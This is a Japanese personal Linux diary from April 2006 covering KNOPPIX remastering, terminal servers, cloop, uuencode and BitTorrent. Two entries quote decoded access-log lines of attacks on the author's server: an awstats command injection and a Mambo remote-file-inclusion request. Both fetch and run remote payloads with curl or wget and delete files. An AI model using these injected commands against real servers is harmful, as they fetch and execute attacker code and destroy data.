トップ 最新 追記

屑俺日記

僕の備忘録(PC、UN*X、ネットワーク関連が中心)なんです。
自分の書いたところは適当(な時とか)に書き換えますので御了承を。


2006-04-01(Sat) 嘘みたい

既に一昨日だけど、

2006/3/31のアクセスログが(自分の分を差し引いて) 1092件に達していた。

ログをuniqして見ていると、windows98のMozillaを主張する ocnのログが300以上もあった。
眠いのでそれだけにしよう。

と思ったが、

奈良県に 行けなくて残念


2006-04-02(Sun) 腹減っておなかでた

どうも

アクセスログが微増気味。はてなの指先も覗きに来るようだ。
足跡は "Hatena Antenna/0.4 (http://a.hatena.ne.jp/help)" とか "Hatena RSS/0.3 (http://r.hatena.ne.jp)"とか 。
あたま空っぽなので、それだけ。

なぜか

Plamo-4.2が出たようなので get | cdrecord -data - しようとするが どこを選んでも、また何を使ってもエラーばかりでうまくいかない。
混み過ぎて転送速度が落ちるとダメなんだろうか。 諦めてまずディスクに落すことに。

ようやくインストール。環境は こないだと同一。
おまかせインストーラは1.8GB程度必要といっていた。

$ uname -a
Linux HOST 2.6.15.7-plamoUP #5 PREEMPT Wed Mar \
  29 23:53:54 JST 2006 i686 unknown unknown GNU/Linux
makoto@athlon:~$ df
Filesystem 1K-ブロック    使用   使用可 使用% マウント位置
/dev/hda1    1796560   1665264     38564  98% /
none          123952        44    123908   1% /dev
/media        123952         0    123952   0% /media
/tmp          123952         4    123948   1% /tmp

sshdがinetdで、tcpwrappers経由だったのが以前からだったか どうか、ぜんぜん覚えていない。

openssh

なんとなく4.3p2をデスクトップに入れる。
何も考えずに ./configure && make。
一旦sshdを切ってから # /usr/local/sbin/sshd -f /etc/ssh/sshd_config して新たに リモートからssh。特に変哲もなく繋がった。
前のバージョンは、まだ/usrの下に残ったままだ。


2006-04-03(Mon) あっぷ

あぷち

coLinux でaptitudeこりこり。LANG=ja.JP.eucJPで漢字が時々化けた。 PuttyもTeraTermProも同様。

まずセキュリティアップデート。それから まだ入れてなかったruby。大量のパッケージをドッと 処理するには面白そうだけど、まかり間違って何もかも 消してしまったりもしそうだ。それにしても 矢印キーとEnterキーでディレクトリの階層を降りる(上るのもだけど) えらく面倒。ショートカットのキーバインドは何処だ...

$ lv /var/log/aptitude
(ry
Aptitude 0.2.15.9: ログ報告
Sun Apr  2 20:43:44 2006
 
 
重要: このログは、明示的に記録するよう設定したアクションのみを記録します。
      つまり、dpkgの問題によるアクションは記録されない可能性があります。
 
1のパッケージをインストールし、0のパッケージを削除します。
98.3kB のディスク領域を使用します
===============================================================================
[インストール] ruby
===============================================================================
 
ログ完了。

イニシェイティング

サウンドカードがknoppixのデフォルトで使えるシステムは 起動時と終了時にちょっと味な音声が。

端末提供者

KNOPPIXのターミナルサーバはXをあげていなくても実行できた。 この場合は/etc/init.d/knoppix-terminalserver あたりになるらしい。

要するに、 前回が失敗だったのは tftpdがクライアントに(Linuxカーネルの)ネットワークドライバを送信 していなかった(デフォルトではブロードコムは指定されてない)からである。 今回はVIA Rhineだった。ウィザードの途中でチェックを入れればよし。

NICが複数あるクライアントは気をつけないと。PXEなNICがeth0とならなかった場合、 DHCPに少し時間がかかってしまう。

うまくいけばWinXPの起動できなくなったマシンにKNOPPIXを突っ込まずに 中のデータを救出できる筈である。

2.2.9

April Fool かと思ったがISOイメージまであるので 適当なミラーから落して挑戦してみた。が、qemuのIDEコントローラ(↓)を 認識してくれないようで、立ち上がったインストーラに "No disk found!" と一蹴された。起動中のメニューを 適当にいじくるうちに気力がFade Out.
ちなみにISOイメージの中を見ると、ファイルのタイムスタンプ は殆ど3/31の12時から15時だった。

demo@cdplamo[~]% /sbin/lspci 
00:00.0 Host bridge: Intel Corp. 440FX - \
 82441FX PMC [Natoma] (rev 02)
00:01.0 ISA bridge: Intel Corp. 82371SB \
 PIIX3 ISA [Natoma/Triton II]
00:01.1 IDE interface: Intel Corp. 82371SB \
 PIIX3 IDE [Natoma/Triton II]
00:02.0 VGA compatible controller: Cirrus \
 Logic GD 5446
00:03.0 Ethernet controller: Realtek \
 Semiconductor Co., Ltd. RTL-8029(AS)

2006-04-04(Tue) さらにさらに

端末から

KNOPPIXのターミナルサーバもう少し。

↓のようなネットワークを組む。
Client1 をRouterのLANに繋ぐのは、KNOPPIXが 起動しきってから。というのも起動中に サーバ側のNICがeth1になった状態で、先にeth0の彼方に 向けて DHCP Discover してしまう(RouterがDHCPサーバになっている)。 その結果、Router側だけに繋がって、TerminalServerにnfs できなくなった。

Terminal
Server
   |
   |----------
   |          |
Client1     Client2
   |
   |
   |
Router
   |
   |
The Net

netstat や route でちょっと。
Client1をIP forward、そしてIP MASQUERADEする。しかしなぜかClient2では 名前解決ができなかった。
外部のDNSサーバは見えるし、そちらを指定したクエリも ちゃんと帰ってくるが、/etc/resolv.conf (ファイル名間違えた?) に何を書いてもうまくいかない。
グローバルIPアドレス直打ちで自サイトは見えたけど。

さらに端末から

$ uuencode $FILE $FILE | mail -s $TITLE $TO

したものをmewで受信して、

$ uudecode $MH_FILE

すると、 あっさり元通りになった。 パーミッションを含めてだ。
ひと昔は当り前だったに違いないが (というか、ちゃんとmanに載っていた)、 MTAのない環境が当り前だった立場には ちょっぴり新鮮。
流石にタイムスタンプまでは保存してくれないが。

ファイル名を2回打つのが面倒なら $ cat $FILE | uuencode - すればよい。
他のMUAでの追試はまたにしよう。

エンコード

$ dd if=/dev/urandom    \
     of=random.img      \
     bs=1MB             \
     count=1
 
$ uuencode random.img random.img    \
    > encode.txt
$ uuencode -m random.img random.img \ 
    > base64.txt
 
$ ls -l rand.img encode.txt base64.txt 
-rw-r--r--  1 $USER $GROUP   1421437 Apr  4 22:59 base64.txt
-rw-r--r--  1 $USER $GROUP   1444733 Apr  4 22:59 encode.txt
-rw-r--r--  1 $USER $GROUP   1048576 Apr  4 22:58 rand.img

2006-04-05(Wed) どでも

Outlook Express6で

$ uuencode hoge hoge | mail $TO を 受信してみた。ちゃんとhogeが添付されていた。 念のためmd5やってみたが、全く同じだ。
$ cat hoge | uuencode - | mail $TO すると、 添付ファイルは"-"となり、マウスカーソルで つまみ出すと"-.dat"となった。

またジオ

以下、アクセスログをデコード、適当に改行。

212.5.109.38 - - [05/Apr/2006:11:25:23  0900] 
  "GET //awstats.pl?configdir=|echo ;
   cd /tmp;
   rm -rf *;
   curl -O http://www.geocities.com/jdskdfjis/b.pl;
   perl b.pl;
   echo ;
   rm -rf b.pl*;
   echo| HTTP/1.1" 
   404 472 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
(ry

当該ページもかなり怪しい。迂闊には踏めない。

縦横比が偏った

NoteでKNOPPIXを立ち上げるときは、screen=1600x1050などと やっても駄目だったりする。

外部ディスプレイを つなぎ、出力をそちらに切り替えるという手もある。
KDEがあがってから出力をLCDに戻すと(ぺしゃんこながらも)表示できた。


2006-04-06(Thu) で?

2003

Windows Small Business Server 2003って、のっけからこれか?
DHCPサーバは切っといたが。

$ nmap $WIN2003_SERVER
 
Starting nmap 3.81 ( http://www.insecure.org/nmap/ ) at 2006-04-06 11:08 JST
Interesting ports on $WIN2003_SERVER
(The 1640 ports scanned but not shown below are in state: closed)
PORT     STATE SERVICE
25/tcp   open  smtp
42/tcp   open  nameserver
53/tcp   open  domain
80/tcp   open  http
88/tcp   open  kerberos-sec
119/tcp  open  nntp
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
563/tcp  open  snews
593/tcp  open  http-rpc-epmap
636/tcp  open  ldapssl
1025/tcp open  NFS-or-IIS
1026/tcp open  LSA-or-nterm
1067/tcp open  instl_boots
1068/tcp open  instl_bootc
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl
3389/tcp open  ms-term-serv
6004/tcp open  X11:4
8081/tcp open  blackice-icecap

お決まりのWindowsUpdate。やっぱり再起動必須。

放置していたら

突然、前触れもなく画面が目を閉じた。
KNOPPIXマシンが沈黙した。
電源ボタンを押したら、最前の画面がまたすっと出た。

Apr  6 22:08:42 Knoppix apmd[1243]: Suspending now

だった。


2006-04-07(Fri) むむむむむむ

なかなか気軽には出られない

KNOPPIXのTerminalServer続く。

透過プロキシに設定した筈なのに、ブラウザで3128を 指定しないと、クライアントからはWebが見えない...
のは、クライアントのresolv.conf がすべて"#"で始まってたからだった。 自分で指定すると、見えてしかるべきものは当り前に見えた。

TerminalServerの/etc/dhcp3/dhcpd.conf 確認。ちゃんと option domain-name-servers 指定あり。なんでだ。構文が なんか複雑。それも確認せねば。

あくせら遂にゲット

久々の bittorrent

 -------------------------------------------------------
| file:     Accelerated-KNX_20060228.iso                |
| size:     726,132,736 (692 MiB)                       |
| dest:     /$DIR/Accelerated-KNX_20060228.iso          |
| progress: ########################################___ |
| status:   finishing in 0:00:53 (93.5%)                |
| dl speed: 813.2 KB/s                                  |
| ul speed: 0.0 KB/s                                    |
| sharing:  0.000  (0.0 MB up / 647.7 MB down)          |
| seeds:    4 seen now, plus 0.933 distributed copies   |
| peers:    0 seen now, 0.0% done at 2.8 kB/s           |
 -------------------------------------------------------

さしあたまqemu。まあこれでは目立つ程に軽いわけではない。
CDに焼いて確認しないと。


2006-04-08(Sat) めめめ

えみゅをますかれ

qemu環境であげたAcceraratedKNOPPIXを 外と通信させるべく、親環境で 一発メモ実行。

$ su -
Password: 
# iptables -t nat -A POSTROUTING  \
           -s $LOCAL_NET/$NUM     \
           -o eth0                \ 
           -j MASQUERADE

速攻でSorry.

昨日ゲットしたAccelarated KNOPPIXを焼いて起動させたが、

Welcome to the KNOPPIX live-LINUX-on-DVD!
 
 
Scanning for USB/Firewire devices... Done.
 Accessing KNOPPIX CD at /dev/hdc...
 Reading cloop blocks...(Backgrounding)
cloop: Initializing cloop v2.02-opt
cloop: /cdrom/KNOPPIX/KNOPPIX: 36865 blocks, \
65536 btyes/block, largest block is 65562 \
bytes. (optimized format)
Can't find KNOPPIX filesystem, sorry.
Dropping you to a (very limited) shell.
Press reset button to quit.
 
Additional builtin commands available:
        cat        mount     umount
        insmod     rmmod     lsmod

orz.
なんとか文字の色合いだけでも、ここで再現したいものだ(違

踏んじゃダメ

きちんとテーブルタップに差してなかったプラグが抜けてしまった。
気付いたときには、バッテリー未装着のNoteが一瞬にして沈黙した。

Plamo4.01+kernel2.6.15は、自力で起動できなくなっていた。
外装のDVD-ROMドライブでもってcdplamo-1.32aで立ち上げ、fsck。 すべて"y"。
どうやら復活はできた模様。何が失われたかは不明。

さらなる変種

のKNOPPIXリマスタリング。ターミナルサーバを意識している。

今度はデフォルトのrunlevelを5にし、apt-cache search game に 出たものをapt-get --purge remove し、ckermitとw3m-imgとmigemoを入れた。 そして/etc/rc5.d の下にも ln -s /etc/init.d/ssh S20sshする。 おっと、ユーザ knoppix のパスワードも。それから、それから...

併せ技もりだくさん

例によって鯖のログからURLをデコード、改行。
人様の鯖におかしなプログラムを隠しているか、 それともグルんでるのか。

62.206.116.98 - - [07/Apr/2006:16:41:34  0900]               \
  "GET /index.php?option=com_content                         \
     &do_pdf=1                                               \
     &id=1index2.php?_REQUEST[option]=com_content            \
     &_REQUEST[Itemid]=1                                     \
     &GLOBALS=                                               \
     &mosConfig_absolute_path=http://210.3.4.193/cmd.txt?    \
     &cmd=cd /tmp;                                           \
       wget 70.168.74.193/strange;                           \
       chmod 744 strange;./strange;                          \
       cd /var/tmp;                                          \
       curl -o arts http://207.90.211.54/arts;               \
       chmod 744 arts;                                       \
       ./arts;                                               \
       echo YYY;                                             \
       echo|  HTTP/1.1"                                      \
404 472 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"

2006-04-09(Sun) 花粉まみれ

次は起動画面?

KNOPPIX4の起動画面

boot/isolinux/logo.16 とかをすげかえればいいらしい。

Sarge:$ file logo.16 
logo.16: Syslinux SLL16 image data, 640 x 400

↑はPlamo4.01では": data"としか返らなかった。 GIMPもImageMagickも知らないっぽい。
ぐぐると、 Netpbmを使えばできる模様。以下、引用。

>
>lss16toppm < logo.16 > logo.ppm
>
>Now just edit logo.ppm, and then type the 
>following to convert logo.ppm back to logo.16:
>
>ppmtolss16 < logo.ppm > logo.16
>

.ppm(Portable pixmap format)はImageMagickもGIMPも知ってるようだ。
ひと眠りしてから試そう。

ひと眠りして

自分で絵を書いて加工しても、ppmtolss16 にかけるあたりで すべて真っ黒に化けた。

$ ppmtolss16 > my.ppm < logo.16
/usr/bin/ppmtolss16: Warning: color palette truncated (4920 colors ignored)
213200 pixels, 17960 bytes, (83.15% compression)

ので、とりあえずは書いてある通りに試す。それから、 background.jpg も同じ画像サイズの別のものに変えてみた。
ついでに確認すると、lss16toppmとppmtolss16は、syslinuxパッケージ添付の シェルスクリプトだった。Debianにmanpageがあるようだ。つーか、KNOPPIX 自体に入っていた。

毎度毎度

KDEのスタートメニューから「KDEコントロールセンター」の 「地域及びアクセス補助」の「キーボードレイアウト」 をいじるのが好い加減いやになって来た。
表示されるコマンド名を見て控えを取る。

$ setkkbmap -model pc101 -layout us -variant basic

後記。s/setkkbmap/setxkbmap/だ。ともかくOK。

753481728

KBのKNOPPIXをcdrecordしようとすると

cdrecord: WARNING: Data may not fit on current \
disk.
cdrecord: Notice: Use -overburn option to write \
more than the official disk capacity.

と怒られた。create_compressed_fs に --best オプション も付けるべきか。

Tux Paint

TuxPaint

中央図書館で目を通したうにまがを見て、早速ダウンロード、 インストール。なるほどキッドピクススタジオ2001に少し似ている。

この絵と言いスクリーンショットといい、いまいち冴えないな..

--best

付けて若干(coLinuxなど)削った。2時間以上掛かったが、 521MB(546648064KB)になった。が、しかし

<< READ-only CD system successfully merged \
with read-write /ramdisk.
Done.
Starting init process.
INIT: version 2.78-knoppix booting
Buffer I/O error on device cloop0, logical block \
821240
(ry
/etc/init.d/rcS: line 43: 1251 Bus error
_

駄目か。 --bestは悉く起動できず。

man 1 create_compressd_fs

なんとなく跳躍もとい 超訳

名前

create_compressed_fs, extract_compressed_fs - 
cloopボリュームから/へファイルを変換/展開する。

書式

create_compressed_fs image blocksize [ > image.cloop_compressed ]
 
advfs image blocksize [ > image.cloop_compressed ]
 
extract_compressed_fs filename

説明
create_compressd_fs はファイルシステムイメージをcloopドライバ によりマウントするのに適した圧縮イメージに変換する。 そのブロックサイズは512の倍数でなければならない。また、 圧縮イメージすべてが仮想メモリに収まるよう、スワップは 十分確保すること。ファイル名が - の場合、次の例のように標準入力 からデータを読み込む。

mkisofs -r datadir | create_compressed_fs - 65536 >
datadir.iso.compressed

マウント
cloopモジュールをロードするにあたり、次のオプションを指定する。

insmod cloop.o file=/path/to/compressed/image
 
mount -o ro -t whatever /dev/cloop /mnt/compressed

関連項目
/usr/share/doc/cloop-utils/*, /usr/share/doc/cloop-src/*

作者
本マニュアルページは Eduard Bloch <(blade@debian.org)> が Debian GNU/Linux システム のために執筆した(他のシステムにも利用できるであろう)。
本ドキュメントの複製、配布、変更はGNU GPLv2にの文言に従うものとする。

どうにか

焼くまで イメージが大き過ぎる問題に気付かなかったりしたので 結局、絵を入れ替えるだけのために、まる一日掛かった。
ともかく、オリジナルのKNOPPIXはどうにかできている。

明日は欠点を洗い出せるだろうか。


2006-04-10(Mon) あめよりかふん

データ引越し

10GBから60GBへ。

大きいHDDに、同じ大きさのパーティションを切った。
同じシステムの継続使用のため、dd if=/dev/hda of=/dev/hdb bs=512 count=1 する。そして cat /dev/hda1 > /dev/hdb1。
スワップは1.5GB取っておき、残りすべてはデータ領域とする。

おっとっと。それだけでは起動できなかった。
knoppixで立ち上がり、/dev/hda1 をmountして、 chroot /mnt/hda1 grub-install /dev/hda。

C:\ shutdown -s -f -t 0

で2003サーバが問答無用で落ちた。
-f か-c "comment" が必須のようだ。

アレンジ版KNOPPIX

昨日 作ったKNOPPIXの味を試す。この通り 日本語入力は問題なし。
ただしEmacsのごときは(既に削除した)wnnを使うよう 設定されているらしい。cannaは 何処だ。Anthy.elの方がいいかも。
とりあえずはFirefoxで scimにAnthy。この組合せはOpenOffice.org もできた。

CDROMから起動後、bootfrom でHDD に切り替えたが、それでも動作は心なしか、もっさり。


2006-04-11(Tue) まだ寝ない

未完成の鯖時計

cronに音を鳴らさせる案。

当初目覚し時計を考えたけど、内蔵アンプと スピーカでは音が小さ過ぎる。

音楽では長いから、短い簡単な音声で、11時なら11回 30分なら1回鳴るようなシェルスクリプトでも書くか。 零時は12回としてdate から出した回数を...

眠いので妄想はここまで。

圧縮

qemuについてきたlinux.img (l.imgと略)をcloopしてみた。
ブロックサイズ指定を512にしたり65536にしたり、--best をつけたり。

root@0[hda3]# ls -l l*
-rwx------  1 $USER $GROUP 10485760 2006-02-15 11:15 l.img
-rw-r--r--  1 $USER $GROUP  6392544 2006-04-11 10:40 l_512.cl.img
-rw-r--r--  1 $USER $GROUP  6387590 2006-04-11 10:43 l_512b.cl.img
-rw-r--r--  1 $USER $GROUP  4501071 2006-04-11 10:45 l_65536.cl.img
-rw-r--r--  1 $USER $GROUP  4500657 2006-04-11 10:45 l_65536b.cl.img

--best をつけると、処理時間は数倍以上になるようだった。

$ time create_compressed_fs l.img 512 >l_512.cl.img
(ry
real    0m5.255s
user    0m2.728s
sys     0m1.643s
 
$ time create_compressed_fs --best l.img 512 >l_512b.cl.img
(ry
real    1m40.774s
user    0m48.307s
sys     0m49.227s
 
$ time create_compressed_fs l.img 65536 >l_65536.cl.img
(ry
real    0m3.923s
user    0m3.789s
sys     0m0.107s
 
$ time create_compressed_fs --best l.img 65536 >l_65536b.cl.img
(ry
real    0m40.964s
user    0m29.930s
sys     0m11.006s

実は、圧縮したファイルはどれも、未だにマウントできていない。

なぬ?

$ file l_512.cl.img
l_512.cl.img: Bourne shell script text executable

間違って何かを上書きしたかと一瞬ひやり。

$ head l.512.cl.img
#!/bin/sh
#V2.0 Format
modprobe cloop file=$0 && mount -r -t iso9660 /dev/cloop $1
exit $?
(ry ; 以下バイナリコードの文字化け続く

ヒント?

# mkdir -p /mnt/new
# modprobe cloop file=l_512.cl.img && \
  mount -r -t iso9660 /dev/cloop /mnt/new
# mount | grep new
/UNIONFS/dev/cloop on /mnt/new type iso9660 (ro)

--best もおっけー。  
 
 
 

快哉。

 
 
後記。自分の勘違いだった。cloopはisoイメージを 圧縮できるに過ぎない。マウントされたものはKNOPPIXだった。

圧縮ファイルシステム補足

折角 見ておきながら、なんですぐ気付かなかったのか。

# mkdir -p /mnt/new
# chmod 755 l_65536b.cl.img 
# ./l_65536b.cl.img /mnt/new
 
# mount | grep new
/UNIONFS/dev/cloop on /mnt/new type iso9660 (ro)

イメージを実行するってのは少々気味悪い。


2006-04-12(Wed) 春眠夕暮れを覚えず

Macの起動時

Option(=Alt)キーを押していると起動メニューが 出た。"Macintosh HD" と "MacOSX"の どちらかを選べ、というところか。
でも、MacOS9もしくはMacOSXの「起動ディスク」 でMacOSXを選択していた場合、どっちを選んでも MacOSXしか起動しなかった(アイコンはどっちも 同じになっている)。

空っぽのHDDと、LかNの起動ディスクを 入れれば面白そうだ。

cloop on Sarge

ソースパッケージと若干のユーティリティだけ。 入れるなら自分で作って入れよ。という感じ。

カーネルソース(と、それをビルドする環境)が必要らしい。がそれだけでは どうもうまく行かない。


2006-04-13(Thu) 春雨に花粉

キャッシュ

が災いして、firefoxでは日記につくrefererのリンクが、なかなか更新されないようだ。 キャッシュを1MB位まで絞っても変らない。

と書いたら、さっきまで表示されなかった「本日のリンク元」がどっと。

それにしても

Winからputtyを介してw3m+nvi、という環境は非常にややこしく、死ぬほど面倒だ。
特に、MS-IMEのON/OFFとviの入力/編集モードが頻繁に衝突する。

Vine/PPC

に挑戦。

イメージ(Vine31-ppc.iso)をCDRWに焼き、空っぽのHDDをつけた白いポリタンクに 入れて、Altキーを押しながらリセット。cキーでは起動時に吐き出さてしまう。
起動メニューはCDのイメージを認識したが、 矢印をマウスでクリックしても変わらない。適当に キーボードを叩くうちに、Enterでコマンドプロンプトに降りれることに 気づく。
"install"でインストーラが起動し、対話メニューでXな インストーラに至る。

しかしそこまで。
インストーラがHDDを認識しないようなのだ。 システムはHDDに気づいているが、インストールは先に進めない。
オプションメニューからターミナルをあげて fdiskでなんだかんだはできた。パーティションを切ったりmkfsしたり 消したり、はては cat /dev/zero > /dev/hda したり。しかし効果皆無。
オプションメニューから「ログウィンドウを表示」させると、 「ドライブパーティションの設定」 メニューで、何かとんでもないエラーで先に進まない模様。...
fdisk もう少し凝ってもよかったか。

とにかく、いつの日か捲土重来を。

5.0

KNOPPIXメジャーバージョンリリース。早速bittorrentでgetせんとする。
knoppix_v5.0.0DVD_20060225_cebit-20060406+IPAFont_AC20060412.iso.torrent を取ってきて、btdownloadcurses.pyにかけた。がノートに落すのはすぐ 諦めた。鯖の一つに移す。

 ------------------------------------------------------
| file:     k*2.iso                                    |
| size:     3,918,977,024 (4 GiB)                      |
| dest:     /$PATH/k*2.iso                             |
| progress: ________________________________________   |
| status:   finishing in 73:32:14 (0.1%)               |
| dl speed: 37.7 KB/s                                  |
| ul speed: 75.1 KB/s                                  |
| sharing:  2.192  (10.0 MB up / 4.5 MB down)          |
| seeds:    2 seen now, plus 1.814 distributed copies  |
| peers:    8 seen now, 34.6% done at 1416.2 kB/s      |
 ------------------------------------------------------

こんなsharing初めて見たぞ。
大抵(gentooとかFedoraとか)あっという間にどっと落ちて来て、 あっぷあっぷする暇もなかったんだけど。

dl が一時かなり上がったが、seedが減るとまた下がった。


2006-04-14(Fri) ...

一晩あけて

 ----------------------------------------------------------
| file:     k*2.iso                                        |
| size:     3,918,977,024 (4 GiB)                          |
| dest:     /$PATH/k*2.iso                                 |
| progress: ############################################## |
| status:   download succeeded!                            |
| dl speed: ---                                            |
| ul speed: 29.4 KB/s                                      |
| sharing:  0.428  (1598.6 MB up / 3737.4 MB down)         |
| seeds:    7 seen recently, plus 0.823 distributed copies |
| peers:    4 seen now, 47.2% done at 849.6 kB/s           |
 ----------------------------------------------------------

knoppixのタイムスタンプは05:51だった。 4GB落すのに7時間半弱といったところか。
もうしばらくほっとくか。

まず起動失敗

落したKNOPPIX5を早速立ち上げる。今はDVDを焼けないので KNOPPIX4で"knoppix bootfrom=/dev/hda1/k*2.iso してみる。

Welcome to the KNOPPIX live Linux-on-DVD!
 
 
Scanning for USB/Firewire devices...Done.
 Accessing KNOPPIX CD at /dev/hdc...
 Found primary KNOPPIX compressed image at /cdrom/KNOPPIX/KNOPPIX.
 Accessing KNOPPIX CD at /cdrom2.loop/k2.iso...insmod error \
 inserting '/modules/cloop.ko': -1 Out of memory

それでも

knoppix@ttyp1[knoppix]$ uname -a
Linux Knoppix 2.6.15 #7 SMP PREEMPT Sun Feb 19 \
23:35:17 CET 2006 i686 GNU/Linux

KNOPPIX5(の、日本語版)は、かなり起動は速くなった。wnnを止めてくれたのも吉。
Firefoxで、↑のascii art がずれまくっている...

bootfromのエラー再検証。同じKNOPPIXから起動しても、やはり失敗。
それからK4で取れていたDHCPがK5ではなぜか失敗してばかり。いや、 アドレスは貰えるのだが、繋がらない。netstat -rn しても 一行もルートが出ない。設定もできない。ifconfig で 空いているアドレスを適当に割り当てれば問題なく繋がるのだけど。

rdesktop + putty + nvi...

knoppix@ttyp0[knoppix]$ rdesktop -a 16 -g 1024x768 $WINXP
WARNING: No translation for (keysym 0xff2a, Zenkaku_Hankaku)
WARNING: No translation for (keysym 0xff2a, Zenkaku_Hankaku)
(ry

なぜか":"が押せなくて困った。米国英語+Generic101Keyにして、 とりあえずはOK。

btdownloadcurses.py立ち上げっぱ

なしで放っといた(事前にscreenしている)。

 ---------------------------------------------------------- 
|(ry                                                       |
| dl speed: ---                                            |
| ul speed: 55.2 KB/s                                      |
| sharing:  1.171  (4374.8 MB up / 3737.4 MB down)         |
| seeds:    7 seen recently, plus 0.922 distributed copies |
| peers:    4 seen now, 51.9% done at 1543.6 kB/s          |
 ---------------------------------------------------------- 

23時間程かかったが、既にulがdlを抜いてしまっている。 この帯域でこれか...
KNOPPIXの配布手段としては、Bittorrentは、まだまだ傍流なようだ。


2006-04-15(Sat) :ルトイタ

塵も積もれば

Bittorrentは相変わらずだ。上り帯域いっぱいでKNOPPIX5のuploadは続いている。
sharingは(今8時過ぎ)既に2を越えている。

9時を過ぎると、uploadが20KB/sを切るようになってきた。

KNOPPIX5とDVD

ドライブ(たとえばTOSHIBA SD-M171)によっては

Boot from ATAPI CD-ROM :
 No Emulation
ISOLINUX 3.11 2005-09-02  Copyright (C) 1994-2005 H. Peter Anvin
isolinux: Disk error 80, AX = 4269, drive 9F
 
Boot failed: press a key to retry...

などというエラーしか出なかったり。

ぼんやりしていたので

なんとなく NT-Com2参加。 jusまたまた行きそびれ。
ぼんやり聞いたり聞かなかったり。

もう少し詳しく書くと、まず企業組織の内部統制に関する論議だった。 ISOうんちゃらと幾分似た話に思えた。

もう一つ。 Windowsネットワークによる情報漏洩防止策について Rights Management Services(RMS)の話ひとくさり。
開発中のWindowsVistaについても色々。 システムが更に重く、設定が更に面倒になることは 間違いなさそうだ。

オンザフライ

自前KNOPPIX4でどこまでいけるか書いてみよう。
キーボードレイアウトをUSに変え、 scimをいじくった。shift+spaceでanthy。
scimの再起動方法がよくわからず、すべて端末から kill -9 した後、scim & する。このパラグラフも KNOPPIXで書いている。w3mとmigemoが仲良く動く。
PS2についていたホイールマウスで、 ちゃんとスクロールできる。

firefoxにflashプラグインを入れようとして失敗。
Noteをnfsでマウントし、通常ユーザ(knoppix)でアクセスできた。

KDEパネルにはスピーカのアイコンが表示されていた。 snd_mixer_ossだった。
knoquerorで/usr/share/soundsなどの適当な音声ファイルを つつくと、ちゃんと音がでた(なんか小さいようだけど)。
mpg123は、そのままでは鳴らなかった。「コントロールセンター」 で「サウンド&マルチメディア」の「サウンドシステム」 にて「自動検出」させてようやく鳴った。でもなんか低音が 聞こえてないなぁ。同じアンプをNoteに繋ぎ換えて、同じ 音声ファイルを同じくmpg123で再生して比較すると、はっきり劣る。
一体なにがまずいんだろうか。alsamixerは起動できなかった。

本日のツッコミ(全2件) [ツッコミを入れる]

eno [ユーザ権限を分けるところなどは、なんだかSELinuxっぽいですね。]

kuzu [TrustedOSとかいうものは、大体そんな感じになるようですな。]


2006-04-16(Sun) むしゃくしゃ

成分解析

してみた。

屑俺日記の解析結果
 
屑俺日記の69%は見栄で出来ています
屑俺日記の15%は白い何かで出来ています
屑俺日記の8%はマイナスイオンで出来ています
屑俺日記の8%は言葉で出来ています

逝け!

ようやくKNOPPIXでAirHできた。

コンソールメニュー/etc/init.d/pppconfigを いじってもどうもうまくいかない。結局 KDEのGUI(KPPP)から設定する。
嵌まったのはモデムコマンド(!)。どうしても繋がらないので 「ログウィンドウを表示」させて見ていると、初期化(ATZ)の 次がボリューム設定だった。こちらはERRORを返すだけで その先に進まない。
「ボリュームオフ/小/大」を全部消して、ようやく 繋がった。
あと、自宅のLANに繋がったまま設定していたので、 デフォルトルートも書き換えないと。

# route del default gw $IP     dev eth0
# route add default gw $ISP_IP dev ppp0

切断はGUIではできないんだろうか...?

続いて

KNOPPIXによるターミナルサーバとdhcpと透過プロキシとNAPTにも チャレンジしてみる。
KNOPPIXにAirHを 差し、HubにKNOPPIX、Mac、そしてKNOPPIXをネットワークブート するNoteを繋ぐ。で、AirHでpppしてからターミナルサービス を設定し、次いでMacとNoteの電源を入れる。

MacはうまくDHCPとNAPTを受け入れて、すぐ外部ネットワーク に接続できた。
続いてノートをネットワークブートさせる。が、 これは以前通り /etc/resolv.conf が古いまま。クライアント側で書き直す。 それで、なんとかこのとおり(sshで鯖にログインして)Primeで書き込めた。

それにしてもproxyって本当に効いているんだろうか。
自分のサイトのあちこちをMacやNoteで交互にアクセスすると、 一応キャッシュが効いていることは実感できた。
しかしながらニュースサイトなどは動的コンテンツが主流になっているようだった。 このあたり、ちっとも早くなった感じがしない。
あと、 KNOPPIXホストの読み込んだものはプロキシのキャッシュになっていない。 iptablesをいじるより、Firefoxの設定を$HOST_IPの8080に変える。

もーめんど

AirHについてたCDROMを探す。
Windowsの設定プログラムなどは勿論どうでもいい。ATコマンドの ドキュメントが付いていたことを思い出したのだ。 KNOPPIXでコマンドを直に叩いて接続してみるかと妄想していた。
でも結局、23ページのマニュアルをつついたあげく、 Plamoについてたpppスクリプトを流用する。ファイル3つ (/usr/sbin/ppp-on、/etc/ppp/ppp-on-dialer、/etc/ppp/pap-secrets)を 用意するだけであっさり接続できた。

が、これだけではネームサーバのIPが指定されない。なんとかせねば。


2006-04-17(Mon) 寝る前に

chat(8)

ってスクリプト言語の名前だったのか。そうですか。

安い犬箱

はWindowsとMac(Classic & X)のすべてに対応するためか、ファイル名の文字コードを shiftjisにしたsambaとnetatalkがよく使われているようだ。
中身をKNOPPIX+sambaで助け出すときには/etc/samba/smb.confのEUCJP-MSをShift-JISに変える。


2006-04-18(Tue) 睡眠不足は萌えたからじゃない

cloop on Plamo

KNOPPIX以外に圧縮ファイルシステムを入れてみる。
11日の タイムスタンプのcloop_2.02-1.tar.gz は何処から落としたのか もう忘れた。おそらくDebianからだろうか。

README 通りにmakeする。あっさりcloop.ko ができた。

# make KERNEL_DIR=/usr/src/linux
# mkdir -p /lib/modules/misc 
# cp cloop.o /lib/modules/misc/
# depmod -a
# mknod /dev/cloop b 240 0
# mknod /dev/cloop1 b 240 1

それから同時にできたcreate_compressed_fs と extract_compressed_fs を/usr/local/sbin にコピーする。
で、適当なファイルを圧縮したCDイメージにしてみる(これもREADME通り)。

# dd if=/dev/zero of=100MB.img bs=1MB count=100
# mkfs -t ext3 100MB.img
# mount -o loop 100MB.img temp
# cp $SOME_FILES 100MB.img && umount temp
 
# mkisofs -r 100MB.img | create_compressed_fs - 65536 \
  > 100CL.img
# ls -l 100*.img
